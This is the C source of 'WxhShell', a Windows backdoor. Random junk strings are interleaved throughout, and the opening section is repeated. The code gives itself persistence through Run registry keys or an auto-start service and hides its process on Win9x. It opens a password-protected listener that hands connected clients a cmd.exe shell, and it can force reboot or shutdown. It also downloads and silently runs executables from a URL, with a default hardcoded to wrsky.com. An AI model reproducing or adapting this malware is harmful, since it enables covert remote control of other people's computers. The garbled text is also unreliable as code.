"GetModuleBaseNameA"); ;9uDV-" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }7qboUG e \F7NuG:m, if (!NtQueryInformationProcess) return 0; xp"F)6 H.[(`wi!I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pJQ_G`E if(!hProcess) return 0; ip*UujmNyR \T;(k?28HN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :&s8G* ]TsmW ob CloseHandle(hProcess); 2]tW&y_i W{kTM4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Lf8*U" if(hProcess==NULL) return 0; 4&B|rf *+J`Yk7} HMODULE hMod; : p7PiqQ char procName[255]; mxCqN1:# unsigned long cbNeeded; ' KNg; 3X1
U if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h;J%Z!Rjw Oc/ i' CloseHandle(hProcess); <I2~>x5db v0%FG9Gk if(strstr(procName,"services")) return 1; // 以服务启动 7+P-MT 08nA}+k return 0; // 注册表启动 {\
BFWGX } "s\himoa Lo +H&- // 主模块 H*&!$s. int StartWxhshell(LPSTR lpCmdLine) }wGy#!CSza { ESkhCDU SOCKET wsl; U
H6
Jvt BOOL val=TRUE; #|
m*k int port=0; JvtbGPz struct sockaddr_in door; !LpFK0rw 4/&.N] if(wscfg.ws_autoins) Install(); 3u=>Y^wu 8oP"?ew# port=atoi(lpCmdLine); x\5\KGw16 %lGg}9k' if(port<=0) port=wscfg.ws_port; TnPx.mwK\ 5^36nEoA( WSADATA data; F\+!\b*lP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4?aNJyV%& a &hj| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #:[CF: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9:*a9xT, door.sin_family = AF_INET; 12 bztlv door.sin_addr.s_addr = inet_addr("127.0.0.1"); {
b7%Zd3- door.sin_port = htons(port); D(Q=EdlO C)ebZ3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -$(2Z[ closesocket(wsl); 0C0ld!>r return 1; {Ytqs(`
} v
<E#`4{ V}q=!zz if(listen(wsl,2) == INVALID_SOCKET) { kBrU%[0O closesocket(wsl); H`jvT] return 1; K1-y[pS]E } bHmn0fZ9 Wxhshell(wsl); o@r~KFIe WSACleanup(); u%nhQ% $_
k:{? return 0; g|x*sZR~Y #lx(F3 } Pb/[945 1K{hj% // 以NT服务方式启动 h%U,g
9_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5f_1 dn { ]"U/3dL5 DWORD status = 0; -VZ?
c DWORD specificError = 0xfffffff; /Au7X'} 3>k?-%" serviceStatus.dwServiceType = SERVICE_WIN32; /m+.5Qz9)@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; WL1$LLzN serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V(6Ql
j7 serviceStatus.dwWin32ExitCode = 0; {o8K&XU#&t serviceStatus.dwServiceSpecificExitCode = 0; !F#^Peb serviceStatus.dwCheckPoint = 0; *Q,9 [k serviceStatus.dwWaitHint = 0; ZG_iF# v cb}Gk hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~> 5 if (hServiceStatusHandle==0) return; O3(H_(P R nk&:c status = GetLastError(); M[Mx
g
if (status!=NO_ERROR) HmRmZ3~ { ZgL ]ex serviceStatus.dwCurrentState = SERVICE_STOPPED; w(R+p/RF serviceStatus.dwCheckPoint = 0; Cq<k(TKAX serviceStatus.dwWaitHint = 0; S(hT3MAW serviceStatus.dwWin32ExitCode = status; O|0} m serviceStatus.dwServiceSpecificExitCode = specificError; -!:h] SetServiceStatus(hServiceStatusHandle, &serviceStatus); m~vEandm return; 78FK{Cr }
BPC> n,%/cUl serviceStatus.dwCurrentState = SERVICE_RUNNING; OG2&=~hOz- serviceStatus.dwCheckPoint = 0; wXU gxa serviceStatus.dwWaitHint = 0; LKu
,H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #:}mi;{ } (Z at|R.F hE}y/A[ // 处理NT服务事件,比如:启动、停止 9I*`~il>{ VOID WINAPI NTServiceHandler(DWORD fdwControl) `'/1Ij+ { P<IZ%eS3B switch(fdwControl) 5t[7taLX\ { ^
&VN=Y6z case SERVICE_CONTROL_STOP: 0tP{K serviceStatus.dwWin32ExitCode = 0; H@ .1cO serviceStatus.dwCurrentState = SERVICE_STOPPED; <|4L+?_(& serviceStatus.dwCheckPoint = 0; #^bn~ serviceStatus.dwWaitHint = 0; ZTK)N { 2)jf~!o)Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); MHAWnH8 } (Ei} :6,} return; ?F@X>zR2 case SERVICE_CONTROL_PAUSE: +We=- e7 serviceStatus.dwCurrentState = SERVICE_PAUSED; +&8'@v$ break; RV, cQ K case SERVICE_CONTROL_CONTINUE: MF.$E?_R serviceStatus.dwCurrentState = SERVICE_RUNNING; c:_dW;MJ0 break; qiyJ4^1 case SERVICE_CONTROL_INTERROGATE: Pxe7 \e break; rZG6}<Hx }; yI_MYL[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); km9@*@) } ]d50J@W
c (,2U?p // 标准应用程序主函数 A>QAR)YP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $O^U" { 6ragRS/'x {DbWk>[DkG // 获取操作系统版本 -owap-Va OsIsNt=GetOsVer(); h
v/+ GetModuleFileName(NULL,ExeFile,MAX_PATH); |FJc'&) J" !jyy`q= // 从命令行安装 YfU6mQ if(strpbrk(lpCmdLine,"iI")) Install(); WOuk>
/ F48W8'un // 下载执行文件 9Gk#2 if(wscfg.ws_downexe) { \xexl1_; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _f<#+*y WinExec(wscfg.ws_filenam,SW_HIDE); QF9$SCmv }
:A]CD( @y{
f>nm if(!OsIsNt) { wxo{gBq // 如果时win9x,隐藏进程并且设置为注册表启动 ?/^x)Nm HideProc(); C+Pw StartWxhshell(lpCmdLine); lsRW.h, } S]}W+BF3 else 2U`g[1 if(StartFromService()) `NARJ9M // 以服务方式启动 =1Tn~)^O StartServiceCtrlDispatcher(DispatchTable); ;>h:VnV(>( else J2Z?}5> // 普通方式启动 2M3C
5Fu StartWxhshell(lpCmdLine); C?lZu\L uy
oEMT#u return 0; DjQgF=; } RS
/*Dp^ =!P$[pN2 '=]|" O*+,KKPt =========================================== @RFJe$% u13v@<HGc _$BH.I Ej/P:nB *K2fp=Ns $BWA=2$ " W,sPg\G 3 l. 0|>gj`0 #include <stdio.h> x]<0Kq9K #include <string.h> L<H6AzR+ #include <windows.h> z)XIA)i6 #include <winsock2.h>
I<LIw8LI #include <winsvc.h> $%0A#&DVh #include <urlmon.h> <+)B8I^ DYaOlT(rE #pragma comment (lib, "Ws2_32.lib") |n+
`t?L^ #pragma comment (lib, "urlmon.lib") ~U`|+
5 !t+eJj #define MAX_USER 100 // 最大客户端连接数 @c^g< #define BUF_SOCK 200 // sock buffer <;':'sW #define KEY_BUFF 255 // 输入 buffer NM&R\GI &xMQ #define REBOOT 0 // 重启 sD,FJ:dy #define SHUTDOWN 1 // 关机 Wc!.{2 <-Q0s%mNj, #define DEF_PORT 5000 // 监听端口 [gxH,=Pb N"&qy3F #define REG_LEN 16 // 注册表键长度 jv'q:uA ^ #define SVC_LEN 80 // NT服务名长度 %E`=c]! Q"b62+03 // 从dll定义API |!.VpN& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bx=9XZ9g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zv HeoM, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /[#5<; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D./3,z
2&d|L|-> // wxhshell配置信息 P_Ni
5s) struct WSCFG { BewJ!,A! int ws_port; // 监听端口 k#pNk7;MZ char ws_passstr[REG_LEN]; // 口令 *-.,QpgTX int ws_autoins; // 安装标记, 1=yes 0=no 7)37AK w char ws_regname[REG_LEN]; // 注册表键名 S7WT`2
char ws_svcname[REG_LEN]; // 服务名 ,G!mO,DX char ws_svcdisp[SVC_LEN]; // 服务显示名 u<K{=94!e char ws_svcdesc[SVC_LEN]; // 服务描述信息 h\PybSW4s char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rv;is=#1 int ws_downexe; // 下载执行标记, 1=yes 0=no 8u4Fag Q, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lko
k2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $7'KcG G>w+J'7 }; 1QJB4|5R# @86?!0bt // default Wxhshell configuration Vf] ;hm struct WSCFG wscfg={DEF_PORT, g.d~`R@v "xuhuanlingzhe", qhqqCVrsW 1, l
F*x\AT "Wxhshell", D!nx %%q "Wxhshell", JWo). "WxhShell Service", \2NT7^H# "Wrsky Windows CmdShell Service", N(=\S: "Please Input Your Password: ", 19 <Lgr 1, +N:=|u.g "http://www.wrsky.com/wxhshell.exe", eL{6;.C "Wxhshell.exe" 5;Q9Z1
` }; (|U|>@ dId&tTMmC // 消息定义模块 `sPH7^R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J!@`tR- char *msg_ws_prompt="\n\r? for help\n\r#>"; :zLeS- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .rs\%M|X char *msg_ws_ext="\n\rExit."; /w2jlu}yt char *msg_ws_end="\n\rQuit."; 2<33BBlWA char *msg_ws_boot="\n\rReboot..."; {}1KI+s9\ char *msg_ws_poff="\n\rShutdown..."; QTT2P(Pz char *msg_ws_down="\n\rSave to "; GBo'= $3je+=ER char *msg_ws_err="\n\rErr!"; +w'He9n char *msg_ws_ok="\n\rOK!"; %m?$"<q_K ]iE)8X char ExeFile[MAX_PATH]; ISALR{Aq int nUser = 0; Z"Byv.yq b HANDLE handles[MAX_USER]; +[Zcz4\9 int OsIsNt; w!~85"" DZ5QC aA SERVICE_STATUS serviceStatus; v"J7VF2 SERVICE_STATUS_HANDLE hServiceStatusHandle; q$BS@
^U[yk'!Y // 函数声明 gO,2:, int Install(void); /XZ\Yy= int Uninstall(void); Xw |6
#^ int DownloadFile(char *sURL, SOCKET wsh); L+J) int Boot(int flag); cOo@UU P void HideProc(void); -G@:uxB int GetOsVer(void); \YrvH int Wxhshell(SOCKET wsl); d
gRTV<vM void TalkWithClient(void *cs); o=ULo &9 int CmdShell(SOCKET sock); I!;vy/r int StartFromService(void); YqNI:znm- int StartWxhshell(LPSTR lpCmdLine); 5BsfbLKC gq[`g=x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _yP02a^2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); sTChbks +#MQ8d // 数据结构和表定义 fZF.eRP' SERVICE_TABLE_ENTRY DispatchTable[] = `(Ij@84
{ G0&'B6I> {wscfg.ws_svcname, NTServiceMain}, Zq\Vq:MX {NULL, NULL} Q3|I.I e }; z)0%gd| $mLiEsJ // 自我安装 v7@O ,% int Install(void) BOf)27) { IM$I=5ye char svExeFile[MAX_PATH]; C3GI?|b HKEY key; }j6<S-s~ strcpy(svExeFile,ExeFile); gi5Ffvs$ d6ABgQi0 // 如果是win9x系统,修改注册表设为自启动 gPzp/I if(!OsIsNt) { 9Ls=T=96 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DX#_0-o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G;Thz RegCloseKey(key); !:|[?M.` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fw+ VR.#2H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >J>|+W RegCloseKey(key); F|{F'UXj| return 0; #23m_w^L } B#Z-kFn@ } ]n$&|@ } 9_I#{? else { <N}*|z7=b ![CF
>:e // 如果是NT以上系统,安装为系统服务 ! tPHT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o dTg.m if (schSCManager!=0) \r7gubD { ``* !b>) SC_HANDLE schService = CreateService -e(,>9Q ( 6>Ca O schSCManager, 4,P!D3SH wscfg.ws_svcname, StWF66u34& wscfg.ws_svcdisp, 6kM'f}t[C SERVICE_ALL_ACCESS, Hg%8Q@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y_A?}'X SERVICE_AUTO_START, c3G&)gU4q SERVICE_ERROR_NORMAL, !-Br? svExeFile, j~VHU89 NULL, RRBBz7:~ NULL, PML+$ NULL, l<YCX[%E NULL, ZFO*D79:K NULL ;)gNe:Q ); _rjLCvv- if (schService!=0) r]'Q5l4j6" { I!uGI CloseServiceHandle(schService); 1?5UVv_F CloseServiceHandle(schSCManager); 1l`$. k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q26%Z)'nf strcat(svExeFile,wscfg.ws_svcname); xFy%&SKHg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 08JVX'X-mr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @!zT+W& RegCloseKey(key); cA]Ch>]A% return 0; wc6v:,& } Pu7cL } At=l>
CloseServiceHandle(schSCManager); Qpaan } E+|r
h-M 7 } ` "JslpN V-
HO_GDo return 1; [osm\w49 } TDnbX_xC< P 2^((c // 自我卸载 .ugQH<B int Uninstall(void) ~PAbtY9}U { <{yQNXf[ HKEY key; 4hh=z>$|l) zA?]AL(+YW if(!OsIsNt) { b/dyH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 06peo
d RegDeleteValue(key,wscfg.ws_regname); Z/>0P* F RegCloseKey(key); 875BD U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '#faNVPABh RegDeleteValue(key,wscfg.ws_regname); 7gY^a MW RegCloseKey(key); ^S'tMT_ return 0; GY;q0oQ, } 7TN94@kCF } SX I3y } Rf.b_Y@O else { L_4ZxsIv m&X6a C'[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oI6o$C if (schSCManager!=0) 3x{2Dh i { FTfejk! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U%,N"]` if (schService!=0) o)hQ]d { 2AZ)|dM'` if(DeleteService(schService)!=0) { G,J~Ed CloseServiceHandle(schService); zrJ/Fs+s CloseServiceHandle(schSCManager); |vY0[#E8& return 0; s*0PJ\E2 } }|7y.* CloseServiceHandle(schService); i`2X[kc } |,wp@)e6h CloseServiceHandle(schSCManager); vHz]-Q-|9 } m+m,0Ey5H } 8Qg,UX )|@ H#kv? return 1; [# '38 } @]0;aZ{3 B "z`X!\ // 从指定url下载文件 T]fu[yRVvg int DownloadFile(char *sURL, SOCKET wsh) p#Vh[UTl^ { mtON
dI HRESULT hr; )KLsa`RV: char seps[]= "/"; Uc3-n`C char *token; URFp3 qE char *file; =NHzh! char myURL[MAX_PATH]; =(~UK9` char myFILE[MAX_PATH]; h^D]@H {LLy4m strcpy(myURL,sURL); KiJR q> token=strtok(myURL,seps); M9/c8zZ while(token!=NULL) JM@}+pX { Vp'Zm: file=token; :2KLziO2 token=strtok(NULL,seps); UA|A>c } x1}7c9nK u0@i3Po GetCurrentDirectory(MAX_PATH,myFILE); j5EZJ` strcat(myFILE, "\\"); ~$8t/c strcat(myFILE, file); hF!t{ Lf3 send(wsh,myFILE,strlen(myFILE),0); !P &F6ViO= send(wsh,"...",3,0); !)(c_ uz hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); . .|>|X4 if(hr==S_OK) 2y&m8_s-p return 0; ?1?zmaS else 0DBA 'Cv return 1; `KgWaf- WmRx_d_ } eL-9fld/n %\
i 7 // 系统电源模块 ZgcJxWC< int Boot(int flag) hZ0CnY8 ' { .#,!&Lt HANDLE hToken; aF9p%HPDw TOKEN_PRIVILEGES tkp; ?_L)|:WL 5UQz6DK if(OsIsNt) { 5xm^[o2#y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }T?0/N3y& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V #0F2GV<, tkp.PrivilegeCount = 1; pb(YA/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H?~|Uj 6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zw`T^N# if(flag==REBOOT) { c7[<X<yk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <#s=78
g.3 return 0; )Qe4J0. } Nd.+Rs else { gJ_{V;R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /R@,c
B= return 0; GnlP#; } kgX"LQh;[G } P9)E1]Dc$ else { Z.b} if(flag==REBOOT) { iwnctI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TX96
^EoH return 0; ZxmMw } Zz<k^ else { hpD\, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FYI*44E return 0; hE41$9?TJ } F_9e ju^| } d;3/Vr$t= 6q[|U_3I@ return 1; BitP?6KX } B&~#.<23: R\%&Q| // win9x进程隐藏模块 2nW:|*:/p6 void HideProc(void) prvvr;Ib { 7cGc`7 =/Ob
kVYf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`.dX@< if ( hKernel != NULL ) j {w'#x, { B>&Q]J+R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uT'}_2=: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); la7VeFT FreeLibrary(hKernel); }Fd4;
] } tiZ5
:^$b4 ^t&S?_DSZ return; d{cd+An } Bb5|+bP t6GL/M4 // 获取操作系统版本 *C81DQ int GetOsVer(void) 9 )1 8 { =IQ+9Fl2 OSVERSIONINFO winfo; q6h'=By winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~c&ygL3 GetVersionEx(&winfo); P|>
f O' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yv?nw-HM return 1; !}Sf?nP# else 9`P<|( return 0; Gkz\By } >h^CC*&'pw WaY_{)x // 客户端句柄模块 yrp5\k*{y int Wxhshell(SOCKET wsl) h0}=C_.^ { F)ak5 SOCKET wsh; {:U zW\5l) struct sockaddr_in client; O)y|G%O DWORD myID; 6w3z&5DY| k8!|WqfP while(nUser<MAX_USER) P.L$qe>O { qPEtMvL
# int nSize=sizeof(client); E+LAE/v@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \qx$h!< if(wsh==INVALID_SOCKET) return 1; kvWP[! j?) D=hy[sDBw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y$3 &?LA if(handles[nUser]==0) r5U[jwP closesocket(wsh); L *a:j else |'$E-[ nUser++; Tm!pAD } P9Yee!*H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CH!>RRF dNH6%1(s]0 return 0; VRuY8<E } bC_qoI< O$F<x, // 关闭 socket mlq+Z#9 void CloseIt(SOCKET wsh) Akar@ wh { h(q,-')l_ closesocket(wsh); z+ch-L^K4 nUser--; }V20~ hi ExitThread(0); qH#?, sK ^ } ;DQ{6( W7bA#p( // 客户端请求句柄 ( v<l9}! void TalkWithClient(void *cs) {y5v"GR{YM { 05
P#gs`< Lp!4X1/|\ SOCKET wsh=(SOCKET)cs; !*[Fw1-J char pwd[SVC_LEN]; :c4iXK0_^? char cmd[KEY_BUFF]; %N jRD| char chr[1]; (OA-Mgyc int i,j; xF:}a:c@H =ttvC"4? while (nUser < MAX_USER) { G~z=,72 K90wX1& if(wscfg.ws_passstr) { 6Z09)}tZb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :%_*C09 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (u/-ud1p //ZeroMemory(pwd,KEY_BUFF); :Ma=P\J
W i=0; ORVFp]gG while(i<SVC_LEN) { c[p>*FnP >XTDN // 设置超时 ,\YlDcl':0 fd_set FdRead; <+7]EwVcn^ struct timeval TimeOut; BHmmvbM#Qm FD_ZERO(&FdRead); U
+c?x2\ FD_SET(wsh,&FdRead); UE:';(t TimeOut.tv_sec=8; |p4D!M+$7 TimeOut.tv_usec=0; g8=j{]~C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +JyD W%a:L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OoW,mmthj> ??\1eo2gB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \fX0&l;T9\ pwd=chr[0]; K1S:P( S if(chr[0]==0xd || chr[0]==0xa) { ss{y=O%9" pwd=0; #$-zg^ break; %Aqt0e
} b-)m'B}` i++; j ^Tb= } $#z
` R; 49('pq?D // 如果是非法用户,关闭 socket p(B^](? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,, 8hU7P } 3shRrCL0mf }da}vR"iL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 35q4](o9" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )6~s;y! [h5~1N while(1) { fGZZ['E Yz%A Kp ZeroMemory(cmd,KEY_BUFF); ":qhO0 %S`ygc}| // 自动支持客户端 telnet标准 hg2a,EU\Z j=0; ILN Yh3 while(j<KEY_BUFF) { MNuBZnO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `_MRf[Z} cmd[j]=chr[0]; 3I"xuKxc if(chr[0]==0xa || chr[0]==0xd) { 3np |\i cmd[j]=0; _Wb3,E a= break; 5L?_AUL } ''Pu j++; U4$}8~o4 } Jw+k=> g!QX#_~Il // 下载文件 2|6E{o if(strstr(cmd,"http://")) { !iNN6-v% send(wsh,msg_ws_down,strlen(msg_ws_down),0); @IXvp3r if(DownloadFile(cmd,wsh)) "dkDT7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); /JqNiqvh else !~j-5+DI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \GF9;N}V } a)o-6 else { B;vpG?s{9 MvCB|N"qy switch(cmd[0]) { xYLTz8g= zfsGf'U // 帮助 =qJlSb case '?': { No\3kRB4bi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qUSy0SQ/l break; 4MFdhJoN } IPVD^a? // 安装 Kggc9^ 7 case 'i': { _c z$w5` if(Install()) 9} *Pb6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); lH%%iYBM else tM:%{az send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o8RVmOXe break; 7hzd. } c,yjsxETW // 卸载 %2I >0 case 'r': { v1R t$[ if(Uninstall()) VYo2m send(wsh,msg_ws_err,strlen(msg_ws_err),0);
+|w%}/N else a>o]garB+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WC7ltw2 break; ML!>tCT } 6)]zt // 显示 wxhshell 所在路径 t/vw%|AS case 'p': { 5/E7@h , char svExeFile[MAX_PATH]; 2lu A F2 strcpy(svExeFile,"\n\r"); )N'-Ap$g strcat(svExeFile,ExeFile); it.'.aK4 send(wsh,svExeFile,strlen(svExeFile),0); *[|a$W break; =C(((T. } BO%aCK& // 重启 Y& p
~8 case 'b': { Hob n{E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :z^,>So : if(Boot(REBOOT)) lf9mdbm send(wsh,msg_ws_err,strlen(msg_ws_err),0); }m -A #4. else { Lz/{
q6> closesocket(wsh); p Lwtm@ ExitThread(0); xTGdh } PK&\pkX break; KsDovy< } y5/LH~&Ov // 关机 /cX%XZg case 'd': { NY3/mS3w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bH Nf> if(Boot(SHUTDOWN)) >(\Z-I&YQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]kir@NMv> else { (7 O?NS closesocket(wsh); 8-s7s!j ExitThread(0); =M ."^X } 3%(BZ23 break; ?ZAynZF|# } U3^3nL-M9 // 获取shell 8#ZF<BY case 's': { ukDaX CmdShell(wsh); 2{9%E6%# closesocket(wsh); 2]V&]s8Wi= ExitThread(0); ws([bS2h break; ?3yrX_Qm{ } vo"?a~kY7 // 退出 )qeed-{ case 'x': { kKs}E| T send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c\.7Z=D CloseIt(wsh); lcR1FbJ2' break; @=6*]:p2. } #/
HQ?3h] // 离开 /=[hRn@)A case 'q': { {'UK>S send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5_[we1$P closesocket(wsh); S7h?tR*u WSACleanup(); FT
Ytf4t exit(1); % pQi}x break; Zq" } W}P9I&3 } DR(/|?k+ } /_!Ed] +lhnc{;WJv // 提示信息 /2x@Z> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y7T<Auue` } NI85|*h } :I(d-,C sEHA?UP$<F return; t8f:?
} >9Z7l63+} zI$'D|A // shell模块句柄 #A 7|=E int CmdShell(SOCKET sock) jL0=a.; { eZ|_wB'r STARTUPINFO si; vEc<|t ZeroMemory(&si,sizeof(si)); c+ukVn`r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y(;u)uN_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ pNA_s!S PROCESS_INFORMATION ProcessInfo; $Ned1@%[ char cmdline[]="cmd"; c@x6<S%* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }q=tg9 return 0; $QnsP#ePN } 6 2LLfD UgTgva>? // 自身启动模式 9dwLkr int StartFromService(void) .s%dP.P:i1 { [e7nW9\l typedef struct 8<=]4- X@ { IqCh4y3 DWORD ExitStatus; ]2rCn}; DWORD PebBaseAddress; $ qTv2)W1{ DWORD AffinityMask; ,*Z/3at}5M DWORD BasePriority; d Z}|G-: ULONG UniqueProcessId; nk"nSXm3SR ULONG InheritedFromUniqueProcessId; OU[ FiW-E } PROCESS_BASIC_INFORMATION; |&_(I
tPChVnB PROCNTQSIP NtQueryInformationProcess; `B/74Wa3q N6BEl55 & static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vu~7Z;y(<j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ot,=.%O nq:'jdY5| HANDLE hProcess; eQJyO9$G PROCESS_BASIC_INFORMATION pbi; \u*[mrX_B: T'-kG"l b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D22A)0+_ if(NULL == hInst ) return 0; NEt_UcC W?yGV{#V(= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;v5Jps2^] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vlo!D9zsV3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [sl"\3) ^+}~"nvD if (!NtQueryInformationProcess) return 0; 6o]j@o8V _xGC0f ( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
rw#?NI: if(!hProcess) return 0; J~}i}|YC> ]\F}-I[ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #c(BBTuX -/R?D1kOq CloseHandle(hProcess); "DSRy D0M 9P*p{O{_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1"No~/_ if(hProcess==NULL) return 0; $9ys!
<g H^JFPvEc HMODULE hMod; KeWIC,kq char procName[255]; ]Y3s5#n unsigned long cbNeeded; jZ0/@zOf 2XrYm"6w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &R3#? 1, IZ@M
